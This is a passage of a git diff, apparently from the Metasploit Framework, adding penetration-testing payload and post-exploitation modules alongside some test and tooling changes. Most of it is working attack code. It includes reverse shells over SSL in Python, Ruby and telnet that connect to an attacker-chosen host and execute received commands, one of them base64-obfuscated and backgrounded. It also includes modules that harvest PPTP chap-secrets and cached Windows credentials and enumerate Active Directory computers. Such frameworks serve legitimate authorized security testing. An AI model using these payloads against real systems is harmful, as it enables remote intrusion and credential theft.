vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = '' + dead = Rex::Text.rand_text_alpha(2) + # Set up the socket + cmd += "import socket,subprocess,os,ssl\n" + cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" + cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd += "s=ssl.wrap_socket(so)\n" + # The actual IO + cmd += "#{dead}=False\n" + cmd += "while not #{dead}:\n" + cmd += "\tdata=s.recv(1024)\n" + cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n" + cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n" + cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n" + cmd += "\ts.send(stdout_value)\n" + + # The *nix shell wrapper to keep things clean + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "python -c \"exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))\"" + cmd += ' >/dev/null 2>&1 &' + return cmd + + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb new file mode 100644 index 0000000000..6743def9e9 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb @@ -0,0 +1,49 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via Ruby)', + 'Version' => '$Revision$', + 'Description' => 'Connect back and create a command shell via Ruby, uses SSL', + 'Author' => 'RageLtMan', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'ruby', + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + )) + end + + def generate + vprint_good(command_string) + return super + command_string + end + + def command_string + lhost = datastore['LHOST'] + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + "ruby -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end'" + end +end diff --git a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb new file mode 100644 index 0000000000..593e69d716 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb @@ -0,0 +1,67 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_double_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Double reverse TCP SSL (telnet)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option', + 'Author' => [ + 'hdm', # Original module + 'RageLtMan', # SSL support + ], + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpDoubleSSL, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'telnet', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = + "sh -c '(sleep #{3600+rand(1024)}|" + + "telnet -z #{datastore['LHOST']} #{datastore['LPORT']}|" + + "while : ; do sh && break; done 2>&1|" + + "telnet -z #{datastore['LHOST']} #{datastore['LPORT']}" + + " >/dev/null 2>&1 &)'" + return cmd + end + +end diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb new file mode 100644 index 0000000000..ca70b10879 --- /dev/null +++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb @@ -0,0 +1,77 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.', + 'Author' => 'RageLtMan', + 'License' => BSD_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'python', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = '' + dead = Rex::Text.rand_text_alpha(2) + # Set up the socket + cmd += "import socket,subprocess,os,ssl\n" + cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" + cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd += "s=ssl.wrap_socket(so)\n" + # The actual IO + cmd += "#{dead}=False\n" + cmd += "while not #{dead}:\n" + cmd += "\tdata=s.recv(1024)\n" + cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n" + cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n" + cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n" + cmd += "\ts.send(stdout_value)\n" + + # The *nix shell wrapper to keep things clean + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" + return cmd + + end + +end diff --git a/modules/payloads/singles/ruby/shell_bind_tcp.rb b/modules/payloads/singles/ruby/shell_bind_tcp.rb index c7ccfff7b9..8a095ec25f 100644 --- a/modules/payloads/singles/ruby/shell_bind_tcp.rb +++ b/modules/payloads/singles/ruby/shell_bind_tcp.rb @@ -6,6 +6,7 @@ ## require 'msf/core' +require 'msf/core/payload/ruby' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -13,6 +14,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 include Msf::Payload::Single + include Msf::Payload::Ruby include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -31,7 +33,7 @@ module Metasploit3 end def generate - return super + ruby_string + return prepends(ruby_string) end def ruby_string diff --git a/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb b/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb index 2e3926ca37..e0860b0074 100644 --- a/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb +++ b/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb @@ -6,6 +6,7 @@ ## require 'msf/core' +require 'msf/core/payload/ruby' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -13,6 +14,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 include Msf::Payload::Single + include Msf::Payload::Ruby include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -31,7 +33,7 @@ module Metasploit3 end def generate - return super + ruby_string + return prepends(ruby_string) end def ruby_string diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp.rb b/modules/payloads/singles/ruby/shell_reverse_tcp.rb index 0e149754cf..0bffe88322 100644 --- a/modules/payloads/singles/ruby/shell_reverse_tcp.rb +++ b/modules/payloads/singles/ruby/shell_reverse_tcp.rb @@ -6,6 +6,7 @@ ## require 'msf/core' +require 'msf/core/payload/ruby' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -13,6 +14,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 include Msf::Payload::Single + include Msf::Payload::Ruby include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -31,7 +33,7 @@ module Metasploit3 end def generate - return super + ruby_string + return prepends(ruby_string) end def ruby_string diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb new file mode 100644 index 0000000000..82f61c768d --- /dev/null +++ b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb @@ -0,0 +1,52 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/payload/ruby' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Ruby + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Ruby Command Shell, Reverse TCP SSL', + 'Version' => '$Revision$', + 'Description' => 'Connect back and create a command shell via Ruby, uses SSL', + 'Author' => 'RageLtMan', + 'License' => MSF_LICENSE, + 'Platform' => 'ruby', + 'Arch' => ARCH_RUBY, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'ruby', + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + )) + end + + def generate + rbs = prepends(ruby_string) + vprint_good rbs + return rbs + end + + def ruby_string + lhost = datastore['LHOST'] + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + rbs = "require 'socket';require 'openssl';c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end" + return rbs + end +end diff --git a/modules/post/linux/gather/pptpd_chap_secrets.rb b/modules/post/linux/gather/pptpd_chap_secrets.rb new file mode 100644 index 0000000000..b351fbbb72 --- /dev/null +++ b/modules/post/linux/gather/pptpd_chap_secrets.rb @@ -0,0 +1,130 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/post/common' + +class Metasploit3 < Msf::Post + + include Msf::Post::Common + include Msf::Post::File + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Linux Gather PPTP VPN chap-secrets Credentials', + 'Description' => %q{ + This module collects PPTP VPN information such as client, server, password, + and IP from your target server's chap-secrets file. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r'], + 'Platform' => [ 'linux' ], + 'SessionTypes' => [ "shell", "meterpreter" ] + )) + + register_options( + [ + OptString.new('FILE', [true, 'The default path for chap-secrets', '/etc/ppp/chap-secrets']) + ], self.class) + end + + + # + # Reads chap_secrets + # + def load_file(fname) + begin + data = cmd_exec("cat #{fname}") + rescue RequestError => e + print_error("Failed to retrieve file. #{e.message}") + data = '' + end + + if data =~ /^#{fname}: regular file, no read permission$/ or data =~ /Permission denied$/ + return :access_denied + elsif data =~ /\(No such file or directory\)$/ + return :not_found + elsif data.empty? + return :empty + end + + return data + end + + + # + # Extracts client, server, secret, and IP addresses + # + def extract_secrets(data) + tbl = Rex::Ui::Text::Table.new({ + 'Header' => 'PPTPd chap-secrets', + 'Indent' => 1, + 'Columns' => ['Client', 'Server', 'Secret', 'IP'] + }) + + data.each_line do |l| + # If this line is commented out, ignore it + next if l =~ /^[[:blank:]]*#/ + + found = l.split + + # Nothing is found, skip! + next if found.empty? + + client = (found[0] || '').strip + server = (found[1] || '').strip + secret = (found[2] || '').strip + ip = (found[3,found.length] * ", " || '').strip + + report_auth_info({ + :host => session.session_host, + :port => 1723, #PPTP port + :sname => 'pptp', + :user => client, + :pass => secret, + :type => 'password', + :active => true + }) + + tbl << [client, server, secret, ip] + end + + if tbl.rows.empty? + print_status("This file has no secrets: #{datastore['FILE']}") + else + print_line(tbl.to_s) + + p = store_loot( + 'linux.chapsecrets.creds', + 'text/csv', + session, + tbl.to_csv, + File.basename(datastore['FILE'] + ".txt") + ) + print_good("Secrets stored in: #{p}") + end + end + + + def run + fname = datastore['FILE'] + f = load_file(fname) + + case f + when :access_denied + print_error("No permission to read: #{fname}") + when :not_found + print_error("Not found: #{fname}") + when :empty + print_status("File is actually empty: #{fname}") + else + extract_secrets(f) + end + end + +end \ No newline at end of file diff --git a/modules/post/windows/gather/cachedump.rb b/modules/post/windows/gather/cachedump.rb index dddf43ab7e..5795220174 100644 --- a/modules/post/windows/gather/cachedump.rb +++ b/modules/post/windows/gather/cachedump.rb @@ -516,9 +516,6 @@ class Metasploit3 < Msf::Post end end - store_loot("mscache.creds", "text/csv", session, @credentials.to_csv, - "mscache_credentials.txt", "MSCACHE Credentials") - print_status("John the Ripper format:") john.split("\n").each do |pass| @@ -527,8 +524,13 @@ class Metasploit3 < Msf::Post if( @vista == 1 ) print_status("Hash are in MSCACHE_VISTA format. (mscash2)") + p = store_loot("mscache2.creds", "text/csv", session, @credentials.to_csv, "mscache2_credentials.txt", "MSCACHE v2 Credentials") + print_status("MSCACHE v2 saved in: #{p}") + else print_status("Hash are in MSCACHE format. (mscash)") + p = store_loot("mscache.creds", "text/csv", session, @credentials.to_csv, "mscache_credentials.txt", "MSCACHE v1 Credentials") + print_status("MSCACHE v1 saved in: #{p}") end rescue ::Interrupt diff --git a/modules/post/windows/gather/enum_ad_computers.rb b/modules/post/windows/gather/enum_ad_computers.rb new file mode 100644 index 0000000000..7909ee8966 --- /dev/null +++ b/modules/post/windows/gather/enum_ad_computers.rb @@ -0,0 +1,233 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'rex' +require 'msf/core' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Post + + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather AD Enumerate Computers', + 'Description' => %q{ + This module will enumerate computers in the default AD directory. + + Optional Attributes: + objectClass, cn, description, distinguishedName, instanceType, whenCreated, + whenChanged, uSNCreated, uSNChanged, name, objectGUID, + userAccountControl, badPwdCount, codePage, countryCode, + badPasswordTime, lastLogoff, lastLogon, localPolicyFlags, + pwdLastSet, primaryGroupID, objectSid, accountExpires, + logonCount, sAMAccountName, sAMAccountType, operatingSystem, + operatingSystemVersion, operatingSystemServicePack, serverReferenceBL, + dNSHostName, rIDSetPreferences, servicePrincipalName, objectCategory, + netbootSCPBL, isCriticalSystemObject, frsComputerReferenceBL, + lastLogonTimestamp, msDS-SupportedEncryptionTypes + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Ben Campbell ' ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + + register_options([ + OptInt.new('MAX_SEARCH', [true, 'Maximum values to retrieve, 0 for all.', 20]), + OptBool.new('STORE', [true, 'Store file in loot.', false]), + OptString.new('ATTRIBS', [true, 'Attributes to retrieve.', 'dNSHostName,distinguishedName,description,operatingSystem']) + ], self.class) + end + + def read_value(addr) + val_size = client.railgun.memread(addr-4,4).unpack('V*')[0] + value = client.railgun.memread(addr, val_size) + return value.strip + end + + def run + unless session.platform == "x64/win64" + print_error("Does not work in x86 meterpreter (use x64 instead) see: http://dev.metasploit.com/redmine/issues/7639"); + return + end + + print_status("Connecting to default LDAP server") + session_handle = bind_default_ldap_server + + return false unless session_handle + + print_status("Querying default naming context") + + query_result = query_ldap(session_handle, "", 0, "(objectClass=computer)", ["defaultNamingContext"]) + first_entry_attributes = query_result[0]['attributes'] + defaultNamingContext = first_entry_attributes[0]['values'] # Value from First Attribute of First Entry + + print_status("Default Naming Context #{defaultNamingContext}") + + attributes = datastore['ATTRIBS'].split(',') + + print_status("Querying computer objects - Please wait...") + results = query_ldap(session_handle, defaultNamingContext, 2, "(objectClass=computer)", attributes) + + print_status("Unbinding from LDAP service.") + wldap32.ldap_unbind(session_handle) + + results_table = Rex::Ui::Text::Table.new( + 'Header' => 'AD Computers', + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => attributes + ) + + results.each do |result| + row = [] + + result['attributes'].each do |attr| + if attr['values'].nil? + row << "" + else + row << attr['values'] + end + end + + results_table << row + + end + + print_line results_table.to_s + if datastore['STORE'] + stored_path = store_loot('ad.computers', 'text/plain', session, results_table.to_csv) + print_status("Results saved to: #{stored_path}") + end + end + + def wldap32 + return client.railgun.wldap32 + end + + def bind_default_ldap_server + vprint_status ("Initializing LDAP connection.") + session_handle = wldap32.ldap_sslinitA("\x00\x00\x00\x00", 389, 0)['return'] + vprint_status("LDAP Handle: #{session_handle}") + + if session_handle == 0 + print_error("Unable to connect to LDAP server") + wldap32.ldap_unbind(session_handle) + return false + end + + vprint_status ("Binding to LDAP server.") + bind = wldap32.ldap_bind_sA(session_handle, nil, nil, 0x0486)['return'] #LDAP_AUTH_NEGOTIATE 0x0486 + + if bind != 0 + print_error("Unable to bind to LDAP server") + wldap32.ldap_unbind(session_handle) + return false + end + + return session_handle + end + + def query_ldap(session_handle, base, scope, filter, attributes) + vprint_status ("Searching LDAP directory.") + search = wldap32.ldap_search_sA(session_handle, base, scope, filter, nil, 0, 4) + vprint_status("search: #{search}") + + if search['return'] != 0 + print_error("No results") + wldap32.ldap_msgfree(search['res']) + return + end + + search_count = wldap32.ldap_count_entries(session_handle, search['res'])['return'] + + if(search_count == 0) + print_error("No entries retrieved") + wldap32.ldap_msgfree(search['res']) + return + end + + print_status("Entries retrieved: #{search_count}") + + vprint_status("Retrieving results...") + + entries = {} + entry_results = [] + + if datastore['MAX_SEARCH'] == 0 + max_search = search_count + else + max_search = [datastore['MAX_SEARCH'], search_count].min + end + + 0.upto(max_search - 1) do |i| + print '.' + + if(i==0) + entries[0] = wldap32.ldap_first_entry(session_handle, search['res'])['return'] + else + entries[i] = wldap32.ldap_next_entry(session_handle, entries[i-1])['return'] + end + + if(entries[i] == 0) + print_error("Failed to get entry.") + wldap32.ldap_unbind(session_handle) + wldap32.ldap_msgfree(search['res']) + return + end + + vprint_status("Entry #{i}: #{entries[i]}") + + attribute_results = [] + attributes.each do |attr| + vprint_status("Attr: #{attr}") + + pp_value = wldap32.ldap_get_values(session_handle, entries[i], attr)['return'] + vprint_status("ppValue: 0x#{pp_value.to_s(16)}") + + if pp_value == 0 + vprint_error("No attribute value returned.") + else + count = wldap32.ldap_count_values(pp_value)['return'] + vprint_status "Value count: #{count}" + + value_results = [] + if count < 1 + vprint_error("Bad Value List") + else + 0.upto(count - 1) do |j| + p_value = client.railgun.memread(pp_value+(j*4), 4).unpack('V*')[0] + vprint_status "p_value: 0x#{p_value.to_s(16)}" + value = read_value(p_value) + vprint_status "Value: #{value}" + if value.nil? + value_results << "" + else + value_results << value + end + end + value_results = value_results.join('|') + end + end + + if pp_value != 0 + vprint_status("Free value memory.") + wldap32.ldap_value_free(pp_value) + # wldap32.ldap_memfree(attr) No need to free attributes as these are hardcoded + end + + attribute_results << {"name" => attr, "values" => value_results} + end + + entry_results << {"id" => i, "attributes" => attribute_results} + end + + print_line + return entry_results + end +end diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb index 73298366d4..93180d3a5a 100644 --- a/spec/lib/msf/core/exploit/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/http/client_spec.rb @@ -11,7 +11,7 @@ describe Msf::Exploit::Remote::HttpClient do mod end - context 'normalize_uri' do + describe '#normalize_uri' do let(:expected_normalized_uri) do '/a/b/c' end @@ -20,6 +20,20 @@ describe Msf::Exploit::Remote::HttpClient do subject.normalize_uri(unnormalized_uri) end + context "with just '/'" do + let(:unnormalized_uri) do + '/' + end + + it "should be '/'" do + unnormalized_uri.should == '/' + end + + it "should return '/'" do + normalized_uri.should == '/' + end + end + context "with starting '/'" do let(:unnormalized_uri) do expected_normalized_uri @@ -30,7 +44,17 @@ describe Msf::Exploit::Remote::HttpClient do end it "should not add another starting '/'" do - normalized_uri.should == expected_normalized_uri + normalized_uri.should == expected_normalized_uri + end + + context "with multiple internal '/'" do + let(:unnormalized_uri) do + "/#{expected_normalized_uri.gsub("/", "////")}" + end + + it "should remove doubled internal '/'" do + normalized_uri.should == expected_normalized_uri + end end context "with multiple starting '/'" do @@ -48,39 +72,25 @@ describe Msf::Exploit::Remote::HttpClient do end context "with trailing '/'" do + let(:expected_normalized_uri) do + '/a/b/c/' + end + let(:unnormalized_uri) do "#{expected_normalized_uri}/" end it "should end with '/'" do - unnormalized_uri[-1, 1].should == '/' + normalized_uri[-1, 1].should == '/' end - it "should remove the trailing '/'" do - normalized_uri.should == expected_normalized_uri - end - - context "with just '/'" do + context "with multiple trailing '/'" do let(:unnormalized_uri) do - '/' - end - - it "should be '/'" do - unnormalized_uri.should == '/' - end - - it "should return '/'" do - normalized_uri.should == '/' - end - end - - context "with multiple multiple trailing '/'" do - let(:unnormalized_uri) do - "#{expected_normalized_uri}//" + "#{expected_normalized_uri}/" end it "should have multiple trailing '/'" do - unnormalized_uri[-2 .. -1].should == '//' + unnormalized_uri[-2,2].should == '//' end it "should return only one trailing '/'" do @@ -105,16 +115,15 @@ describe Msf::Exploit::Remote::HttpClient do end context "without starting '/'" do - let(:unnormalized_uri) do - 'a/b/c' - end - context "with trailing '/'" do let(:unnormalized_uri) do 'a/b/c/' end + let(:expected_normalized_uri) do + '/a/b/c/' + end - it "'should have trailing '/'" do + it "should have trailing '/'" do unnormalized_uri[-1, 1].should == '/' end @@ -122,17 +131,31 @@ describe Msf::Exploit::Remote::HttpClient do normalized_uri[0, 1].should == '/' end - it "'should remove trailing '/'" do - normalized_uri[-1, 1].should_not == '/' + it "should not remove trailing '/'" do + normalized_uri[-1, 1].should == '/' end it 'should normalize the uri' do - normalized_uri.should == expected_normalized_uri + normalized_uri.should == "#{expected_normalized_uri}" + end + + context "with multiple internal '/'" do + let(:unnormalized_uri) do + "/#{expected_normalized_uri.gsub("/", "////")}" + end + + it "should remove doubled internal '/'" do + normalized_uri.should == expected_normalized_uri + end end end context "without trailing '/'" do - it "'should not have trailing '/'" do + let(:unnormalized_uri) do + 'a/b/c' + end + + it "should not have trailing '/'" do unnormalized_uri[-1, 1].should_not == '/' end @@ -143,35 +166,35 @@ describe Msf::Exploit::Remote::HttpClient do it "should add trailing '/'" do normalized_uri[-1, 1].should_not == '/' end + end + end - context 'with empty string' do - let(:unnormalized_uri) do - '' - end + context 'with empty string' do + let(:unnormalized_uri) do + '' + end - it "should be empty" do - unnormalized_uri.should be_empty - end + it "should be empty" do + unnormalized_uri.should be_empty + end - it "should return '/'" do - normalized_uri.should == '/' - end - end + it "should return '/'" do + normalized_uri.should == '/' + end + end - context 'with nil' do - let(:unnormalized_uri) do - nil - end + context 'with nil' do + let(:unnormalized_uri) do + nil + end - it 'should be nil' do - unnormalized_uri.should be_nil - end + it 'should be nil' do + unnormalized_uri.should be_nil + end - it "should return '/" do - normalized_uri.should == '/' - end - end + it "should return '/" do + normalized_uri.should == '/' end end end -end \ No newline at end of file +end diff --git a/tools/dev/pre-commit-hook.rb b/tools/dev/pre-commit-hook.rb new file mode 100755 index 0000000000..2625d6d64a --- /dev/null +++ b/tools/dev/pre-commit-hook.rb @@ -0,0 +1,54 @@ +#!/usr/bin/env ruby + +# Check that modules actually pass msftidy checks first. +# To install this script, make this your pre-commit hook your local +# metasploit-framework clone. For example, if you have checked out +# the Metasploit Framework to: +# +# /home/mcfakepants/git/metasploit-framework +# +# then you will copy this script to: +# +# /home/mcfakepants/git/metasploit-framework/.git/hooks/pre-commit +# +# You must mark it executable (chmod +x), and do not name it +# pre-commit.rb (just pre-commit) +# +# If you want to keep up on changes with this hook, just: +# +# ln -sf + +valid = true # Presume validity +files_to_check = [] + +results = %x[git diff --cached --name-only] + +results.each_line do |fname| + fname.strip! + next unless File.exist?(fname) and File.file?(fname) + next unless fname =~ /modules.+\.rb/ + files_to_check << fname +end + +if files_to_check.empty? + puts "--- No Metasploit modules to check, committing. ---" +else + puts "--- Checking module syntax with tools/msftidy.rb ---" + files_to_check.each do |fname| + cmd = "ruby ./tools/msftidy.rb #{fname}" + msftidy_output= %x[ #{cmd} ] + puts "#{fname} - msftidy check passed" if msftidy_output.empty? + msftidy_output.each_line do |line| + valid = false + puts line + end + end + puts "-" * 52 +end + +unless valid + puts "msftidy.rb objected, aborting commit" + puts "To bypass this check use: git commit --no-verify" + puts "-" * 52 + exit(1) +end diff --git a/tools/msftidy.rb b/tools/msftidy.rb index aa63bea6a4..8faa3b03d5 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -204,7 +204,7 @@ class Msftidy end if author_name =~ /^@.+$/ - error("No Twitter handle, please. Try leaving it in a comment instead.") + error("No Twitter handles, please. Try leaving it in a comment instead.") end if not author_name.ascii_only? @@ -226,9 +226,7 @@ class Msftidy puts "Checking syntax for #{f_rel}." rubies ||= RVM.list_strings res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/} - rubies.size == res.size - - error("Fails alternate Ruby version check") if rubies.size + error("Fails alternate Ruby version check") if rubies.size != res.size end def check_ranking @@ -281,6 +279,7 @@ class Msftidy words.each do |word| if %w{and or the for to in of as with a an on at}.include?(word) next + elsif %w{pbot}.include?(word) elsif word =~ /^[a-z]+$/ warn("Improper capitalization in module title: '#{word}'") end